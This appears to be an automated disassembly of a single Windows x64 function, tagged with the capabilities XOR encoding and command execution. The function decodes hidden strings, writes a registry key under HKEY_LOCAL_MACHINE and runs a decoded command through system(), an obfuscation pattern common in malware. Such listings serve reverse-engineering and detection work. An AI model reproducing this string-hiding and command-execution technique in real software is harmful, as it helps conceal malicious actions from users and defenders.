Function at 0x1400c52b0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x18]
sub rsp, 0x110
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp - 0x10], rax
cmp byte [0x1415fe3ab], 0
jne 0x1400c577b
movups xmm0, xmmword [0x140175050]
mov eax, dword [0x140175068]
mov qword [r11 + 8], rbx
xor ebx, ebx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov edi, ebx
mov qword [r11 + 0x20], r14
mov r14d, dword [reloc.WS2_32.dll_accept]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x14017506c]
movaps xmmword [r11 - 0x18], xmm6
mov byte [rbp - 0x7c], al
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140175060]
movsd qword [rsp + 0x78], xmm0
cmp r14d, 2
jl 0x1400c546a
movdqa xmm0, xmmword [0x140178210]
lea rcx, [rsp + 0x6c]
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmmword [rsp + 0x50], xmm0
mov edx, dword [rsp + 0x50]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x18
jl 0x1400c5360
cmp edi, 0x1d
jge 0x1400c54b0
movsxd rax, edi
lea r8, [rsp + 0x68]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x1d
jl 0x1400c5480
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rsi, 0xffffffffffffffff
mov edx, eax
lea rax, [rsp + 0x68]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400c5500
xor eax, eax
lea rdi, [rsp + 0x68]
rep stosb byte [rdi], al
mov rcx, rsi
lea rax, [rsp + 0x68]
nop dword [rax]
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400c5520
xor eax, eax
lea rdi, [rsp + 0x68]
rep stosb byte [rdi], al
test edx, edx
jne 0x1400c5540
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.1400b1a60
movups xmm0, xmmword [0x140173f40]
cmp r14d, 2
movups xmm1, xmmword [0x140173f50]
mov eax, dword [0x140173f98]
mov r14, qword [rsp + 0x138]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140173f60]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140173f80]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x140173f90]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x140173f70]
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x18], eax
jl 0x1400c56ec
movdqa xmm0, xmmword [0x140178210]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmmword [rsp + 0x50], xmm0
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x58
jl 0x1400c55e0
cmp eax, 0x5c
jge 0x1400c572e
movsxd rax, ebx
lea rdi, [rbp - 0x70]
add rdi, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea rdi, [rdi + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
inc ebx
sub al, cl
add al, 0x38
xor byte [rdi - 1], al
cmp ebx, 0x5c
jl 0x1400c5700
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm6, xmmword [rsp + 0x100]
lea rax, [rbp - 0x70]
mov rbx, qword [rsp + 0x120]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400c5750
mov rcx, rsi
mov byte [0x1415fe3ab], 1
mov rsi, qword [rsp + 0x128]
lea rdi, [rbp - 0x70]
xor eax, eax
rep stosb byte [rdi], al
mov rdi, qword [rsp + 0x130]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140148bf0
add rsp, 0x110
pop rbp
ret